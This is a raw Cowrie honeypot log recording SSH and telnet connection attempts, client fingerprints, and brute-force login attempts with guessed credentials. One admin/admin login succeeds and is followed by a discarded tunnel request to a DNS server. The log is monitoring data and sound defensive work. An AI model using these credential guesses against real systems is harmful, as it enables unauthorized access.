{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:38.660393Z","src_ip":"103.148.100.146","session":"c36b888e805d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:38.924324Z","src_ip":"103.148.100.146","session":"c36b888e805d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38332,"dst_ip":"159.203.135.109","dst_port":23,"session":"011a15d89b63","protocol":"telnet","message":"New connection: 69.4.83.194:38332 (159.203.135.109:23) [session: 011a15d89b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:39.772374Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234567890qwertyuiop","message":"login attempt [deploy/1234567890qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:39.993325Z","src_ip":"103.148.100.146","session":"c36b888e805d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:41.257859Z","src_ip":"103.148.100.146","session":"c36b888e805d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.18237018585205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:41.748331Z","src_ip":"50.62.181.92","session":"3f06f208c3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41950,"dst_ip":"159.203.135.109","dst_port":23,"session":"6717e5dd5290","protocol":"telnet","message":"New connection: 69.4.83.194:41950 (159.203.135.109:23) [session: 6717e5dd5290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:48.941494Z"}
{"eventid":"cowrie.session.closed","duration":33.71188569068909,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:13.484124Z","src_ip":"69.4.83.194","session":"011a15d89b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":39974,"dst_ip":"159.203.135.109","dst_port":22,"session":"665a5aeaebe4","protocol":"ssh","message":"New connection: 69.6.221.248:39974 (159.203.135.109:22) [session: 665a5aeaebe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:17.658248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:17.663295Z","src_ip":"69.6.221.248","session":"665a5aeaebe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:17.777520Z","src_ip":"69.6.221.248","session":"665a5aeaebe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data2025","message":"login attempt [data/data2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:18.264599Z","src_ip":"69.6.221.248","session":"665a5aeaebe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:19.381276Z","src_ip":"69.6.221.248","session":"665a5aeaebe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":48456,"dst_ip":"159.203.135.109","dst_port":22,"session":"54bd6aadc392","protocol":"ssh","message":"New connection: 167.172.174.185:48456 (159.203.135.109:22) [session: 54bd6aadc392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:20.105267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:20.275167Z","src_ip":"167.172.174.185","session":"54bd6aadc392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:20.407111Z","src_ip":"167.172.174.185","session":"54bd6aadc392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54132,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0532d9b830a","protocol":"telnet","message":"New connection: 69.4.83.194:54132 (159.203.135.109:23) [session: f0532d9b830a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:20.696038Z"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:20.807153Z","src_ip":"167.172.174.185","session":"54bd6aadc392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:21.907620Z","src_ip":"167.172.174.185","session":"54bd6aadc392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.7388641834259,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:23.680238Z","src_ip":"69.4.83.194","session":"6717e5dd5290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56850,"dst_ip":"159.203.135.109","dst_port":23,"session":"9036d3943395","protocol":"telnet","message":"New connection: 69.4.83.194:56850 (159.203.135.109:23) [session: 9036d3943395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:30.644053Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47294,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd31f1a7eb50","protocol":"ssh","message":"New connection: 109.172.54.111:47294 (10.17.0.5:22) [session: dd31f1a7eb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:36.099593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:36.106816Z","src_ip":"109.172.54.111","session":"dd31f1a7eb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:36.206689Z","src_ip":"109.172.54.111","session":"dd31f1a7eb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10051991","message":"login attempt [root/10051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:36.506537Z","src_ip":"109.172.54.111","session":"dd31f1a7eb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:37.610798Z","src_ip":"109.172.54.111","session":"dd31f1a7eb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":50800,"dst_ip":"159.203.135.109","dst_port":22,"session":"6068ab56dda3","protocol":"ssh","message":"New connection: 103.27.238.114:50800 (159.203.135.109:22) [session: 6068ab56dda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:40.125069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:40.130194Z","src_ip":"103.27.238.114","session":"6068ab56dda3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:40.405656Z","src_ip":"103.27.238.114","session":"6068ab56dda3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kristen","message":"login attempt [root/kristen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:41.231178Z","src_ip":"103.27.238.114","session":"6068ab56dda3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:42.509899Z","src_ip":"103.27.238.114","session":"6068ab56dda3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51700,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9386a3f32dd","protocol":"ssh","message":"New connection: 109.237.96.109:51700 (10.17.0.5:22) [session: f9386a3f32dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:54.371676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:54.379941Z","src_ip":"109.237.96.109","session":"f9386a3f32dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:54.472909Z","src_ip":"109.237.96.109","session":"f9386a3f32dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.87076663970947,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:54.566691Z","src_ip":"69.4.83.194","session":"f0532d9b830a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"147147147","message":"login attempt [root/147147147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:54.753885Z","src_ip":"109.237.96.109","session":"f9386a3f32dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:55.849510Z","src_ip":"109.237.96.109","session":"f9386a3f32dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23258,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d63c248acf4","protocol":"ssh","message":"New connection: 87.251.64.176:23258 (10.17.0.5:22) [session: 2d63c248acf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:58.465502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:58.469871Z","src_ip":"87.251.64.176","session":"2d63c248acf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:58.566186Z","src_ip":"87.251.64.176","session":"2d63c248acf4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:58.853506Z","src_ip":"87.251.64.176","session":"2d63c248acf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:58.950045Z","session":"2d63c248acf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:59.045733Z","src_ip":"87.251.64.176","session":"2d63c248acf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:16:59.144396Z","src_ip":"87.251.64.176","session":"2d63c248acf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.218662977218628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:01.862599Z","src_ip":"69.4.83.194","session":"9036d3943395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":42132,"dst_ip":"159.203.135.109","dst_port":23,"session":"811c4b5c784c","protocol":"telnet","message":"New connection: 50.62.181.92:42132 (159.203.135.109:23) [session: 811c4b5c784c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:11.377443Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":37320,"dst_ip":"159.203.135.109","dst_port":22,"session":"14eb61f10146","protocol":"ssh","message":"New connection: 103.148.100.146:37320 (159.203.135.109:22) [session: 14eb61f10146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:15.736651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:15.741509Z","src_ip":"103.148.100.146","session":"14eb61f10146","protocol":"ssh"}
